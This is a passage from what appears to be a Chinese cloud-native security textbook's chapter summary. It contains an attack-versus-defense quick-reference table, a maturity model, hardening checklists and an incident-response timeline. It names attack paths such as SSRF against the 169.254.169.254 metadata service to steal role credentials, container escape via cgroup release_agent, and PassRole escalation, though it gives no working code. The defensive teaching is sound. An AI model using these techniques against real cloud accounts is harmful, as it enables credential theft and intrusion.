① 对象存储桶公开(10.6.2)—— 把公司备份、用户照片、数据库 dump 公开到互联网
② IAM 通配符 / 给 admin(10.2.2)—— 一个 `s3:*` 就能拖走整个桶
③ 安全组 0.0.0.0/0 + 数据库端口外开(10.6.3)—— Redis/Mongo 未授权直接连
一句话:★ 云上攻击者很少"硬打",他们更多是【扫描公开桶、搜 GitHub 密钥、试默认口令】。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知四:元数据服务(169.254.169.254)是云上最被低估的"隐藏后门"
它是什么(白话):每台云主机里都有个内置"身份证查询窗口",应用问它
"我是什么角色、我的临时密钥是什么",它就答。SSRF 一旦能打到这个地址,
就能偷到这台机器所属角色的全部临时密钥。
为什么可怕:它不需要你"爆破密码",也不需要"提权",
只要一个【能发 HTTP 请求的 SSRF】就够(10.2.3 有完整攻击链)。
防御(三条都要做):
① 换 IMDSv2(要 PUT token 才能读,防简单 SSRF)
② hop limit 设 1(防止从容器里跳出来读)
③ 应用层 SSRF 白名单(is_safe_url / safe_fetch,本 10.2.3 有代码)
诚实提醒:★ IMDSv2 不是 100% 免疫 SSRF(DNS rebinding 等高级手法仍能过),
但它是"把攻击成本拉高一个数量级"的必做项。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知五:云上应急响应"物理受限",检测与遏制的手段也变了
传统 IR:拔网线、关机、镜像硬盘、取证内存。
云上 IR:★ 你"拔不了网线"(那是云厂商的),
你靠的是【吊销身份 + 审计日志 + 打快照】。
三个根本差异(10.7.3 展开):
① 遏制 = 在 IAM 层吊销凭据 / 加 Deny 策略,而不是断网
② 取证对象 = CloudTrail/审计日志,而不是硬盘
③ 时间 = 用 `aws:TokenIssueTime` 判断"这条密钥是什么时候签发的",把被盗前签发的会话一并吊销
黄金 15 分钟:`cloud_ir_containment.sh`(10.7.3 有完整脚本)—— 先 Deny All 止血,再慢慢查。
10.9.2 攻防速查卡:云原生攻击手法 × 防御措施
| # | 攻击手法 | 危害 | 一句话防御 | 详参 |
|---|---|---|---|---|
| 1 | Serverless 事件注入(HTTP 头/消息体/存储事件当输入) | 在函数内执行未授权逻辑 | 把“事件”当不可信输入,做校验 | 10.1 |
| 2 | 冷启动状态残留(全局变量缓存敏感数据) | 跨请求串数据 | 不信任全局变量,用完即清 | 10.1 |
| 3 | 账单 DoS(死循环/超大输入烧钱) | 财务损失 | 并发上限 + 超时 + 成本告警 | 10.1 |
| 4 | IAM 通配符 / 直接给 admin | 拖库、删桶、提权 | 最小权限四步闭环 | 10.2 |
| 5 | SSRF 打 IMDS 169.254.169.254 | 偷角色临时密钥 | IMDSv2 + hop limit + SSRF 白名单 | 10.2 |
| 6 | 混乱代理人(Confused Deputy) | 让别的服务替你背锅调 API | ExternalId + 信任策略精确 sub | 10.2 |
| 7 | 访问密钥泄露到 GitHub/日志 | 直接接管账号 | gitleaks/trufflehog 扫描 + 双密钥轮换 | 10.2 |
| 8 | PassRole 提权(有 iam:PassRole + 高权限角色) | 一步升天 | 收紧 PassRole 的 Resource | 10.2 |
| 9 | IaC 硬编码密钥 / tfstate 明文 | 密钥入库、状态文件泄露 | Checkov 扫描 + 远程后端 | 10.3 |
| 10 | IaC 公开桶 / 0.0.0.0/0 / latest 标签 | 数据公开、网络全开 | 策略即代码 + 漂移检测 | 10.3 |
| 11 | K8s RBAC 通配符 / pods:create 给攻击者 | 集群沦陷 | rbac_audit.sh 审计 + 最小权限 | 10.4 |
| 12 | ServiceAccount 默认挂 token | 攻击者拿到 token 即可调 API | 投影 Volume 短期 token + IRSA | 10.4 |
| 13 | Secret 只是 base64 | etcd 明文、镜像层泄露 | etcd 静态加密 + External Secrets | 10.4 |
| 14 | 特权容器 / hostPath / 挂 docker.sock | 容器逃逸 | PSA restricted + RuntimeClass gVisor | 10.4 |
| 15 | cgroup release_agent 逃逸 | 逃到宿主机 root | 禁特权 + 禁改写 cgroup | 10.4 |
| 16 | K8s 网络默认全通(无 NetworkPolicy) | 横向随便走 | 默认 deny + 按需放行 | 10.4 |
| 17 | 服务网格 PERMISSIVE 模式 / 默认允许 | mTLS 形同虚设 | PeerAuthentication STRICT | 10.5 |
| 18 | Jupyter Notebook / 模型 pickle 反序列化 | 官方 RCE | weights_only + safetensors | 10.5 |
| 19 | 预签名 URL 泄露 / 无限期 | 桶被公开下载 | 短时效 + 精确 key + 限方法 | 10.6 |
| 20 | Redis / Mongo 未授权访问 | 拖库、写计划任务 | 内网监听 + 密码 + 白名单 | 10.6 |
| 21 | 勒索软件删备份 | 数据全丢无法恢复 | 不可变备份(对象锁 COMPLIANCE) | 10.6 |
| 22 | 云审计日志被关闭 / 只开管理事件 | 出事查不到 | CloudTrail 多区域 + 数据事件 | 10.7 |
★ 用这张表做“对表自查”:左边每一行都是一条“如果我只做一件低成本的事,能挡掉多少攻击”的判断题。
10.9.3 云原生安全成熟度自评表(L0 ~ L4)
| 级别 | 状态 | 典型表现 | 你该做的下一件事 |
|---|---|---|---|
| L0 裸奔 | 凭感觉、无规则 | 桶公开了不知道;密钥明文写在代码里;K8s 无 RBAC 无 NetworkPolicy | 先做资产盘点 + 桶公开扫描 |
| L1 起步 | 有意识、零散 | 会手动改权限;出事了才去查日志 | 落地最小权限 + 打开审计日志 |
| L2 制度 | 有流程、能防 | 用 IaC 管理云资源;上线前跑 Checkov;有 RBAC | 上漂移检测 + 准入控制(PSA/Kyverno) |
| L3 自动化 | 检测自动化 | CSPM 扫描配置;Falco 检测运行时;日志进 SIEM | 打通告警到工单,做定期演练 |
| L4 自适应 | 左移 + 防御纵深 | 供应链签名 + SBOM + 不可变备份 + IR 剧本 | 做红蓝对抗,反查“检测盲区” |
判断口诀:L0 是“不知道”,L1 是“知道了没做”,L2 是“做了没自动化”,L3 是“自动了没闭环”,L4 是“闭环了还能进化”。 多数团队卡在 L1→L2 之间,不是因为缺工具,而是因为没人把“最小权限”和“审计日志”当成发布门禁。
10.9.4 五份可直接使用的清单
清单一:云身份最小权限自查(10.2.2)
□ 每个应用/服务是否有独立身份?还是共用一把 root 密钥?
□ 是否还有 `*:*` 或 `s3:*` 这种通配符权限?
□ 是否有人图省事直接给了 AdministratorAccess / 管理员?
□ 是否还存在"内联策略"(inline policy),审计时容易漏?
□ 是否有"僵尸权限"(角色删了,密钥还挂在别处)?
□ 是否用了权限边界 / SCP 给整个账号兜底?
清单二:SSRF / IMDS 加固(10.2.3)
□ 是否已开启 IMDSv2(要求 PUT token 才能读元数据)?
□ 容器内 hop limit 是否设为 1?
□ 应用内所有"由用户提供的 URL"是否都走了白名单校验(is_safe_url)?
□ 是否对 DNS rebinding 做了二次解析校验?
□ 是否给元数据服务做了出站流量告警?
清单三:K8s 安全加固(10.4,可直接跑 k8s_security_check.sh)
□ RBAC:还有 cluster-admin 绑给普通 SA 吗?
□ SA:是否还默认挂载 token?是否用了投影 Volume 短期 token?
□ Secret:etcd 是否开了静态加密?Secret 是否还硬编码在 YAML?
□ 准入:是否开了 PSA restricted?是否部署了 Kyverno 兜底策略?
□ 网络:是否默认 deny?关键服务是否排除 169.254.169.254?
□ 运行时:是否还有特权容器 / hostPath / 挂 docker.sock?
□ 基线:是否跑过 kube-bench?是否部署了 Falco?
清单四:对象存储防泄露(10.6.2)
□ 所有桶是否默认私有(Block Public Access 是否开启)?
□ 是否跑过 s3_public_audit.sh 的六项扫描?
□ 预签名 URL 是否短时效 + 精确 key + 限方法 + 服务端限速?
□ 是否开启了版本控制 + MFA 删除,防勒索删备份?
□ 关键桶是否做了跨账号/跨区域 3-2-1 备份?
清单五:云上应急响应黄金 15 分钟(10.7.3)
0~2 分钟:确认告警、锁账号、改密码、禁密钥(Deny,先别删)
2~5 分钟:用 aws:TokenIssueTime 判断"哪些会话是泄露之后签发的",一并吊销
5~8 分钟:开 CloudTrail 拉全量审计,冻结证据(快照)
8~12 分钟:定位泄露源(GitHub/日志/代码),隔离受影响的桶和主机
12~15 分钟:写简报,通知相关方,保留日志,进入复盘
10.9.5 五句话记忆法
一句话记【责任共担】:商场管结构,铺主管门锁;云管底层,你管配置。
一句话记【身份边界】:云上防火墙不在了,IAM 权限就是新防火墙。
一句话记【配置错误】:云攻击者不硬打,他们扫公开桶、搜密钥、试默认口令。
一句话记【元数据服务】:169.254.169.254 是每台云主机肚里的"身份证窗口",SSRF 打它就能偷密钥。
一句话记【云上应急】:拔不了网线,那就吊销身份 + 看审计日志 + 打快照。
10.9.6 本章与前后章节的关系
┌─────────────────────────────────────┐
│ 第十一章 Web3 与智能合约安全 │
│ (继续扩展攻击面:区块链、合约) │
└─────────────────────────────────────┘
▲
前九章(经典攻击面) │ "边界消失"之后的新世界
┌──────────────────────┐ ┌──────────────────────────────────┐
│ 第一~五章:应用层 │ → │ 第十章:云原生与 Serverless │
│ (Web/API/移动/IoT) │ │ · Serverless 事件注入 │
├──────────────────────┤ │ · 云身份与权限(IAM/IMDS) │
│ 第六~七章:主机/内网 │ │ · IaC / K8s / 服务网格 / eBPF │
│ 第八~九章:DFIR/供应链│ │ · 云上数据、审计与应急 │
└──────────────────────┘ └──────────────────────────────────┘
│ │
└───────────── 共同的地基 ───────────┘
(最小权限、审计日志、配置管理、纵深防御——这些基本功永远不变)
一句话串起来:前九章教你“在有服务器的世界里怎么攻防”,第十章教你“在服务器消失后的世界里怎么攻防”, 而它们共用同一套地基——最小权限、审计、配置管理、纵深防御。 无论技术怎么变,这四样基本功永远不会过时;这也是第十一章 Web3、第十二章数据合规要反复用到的骨架。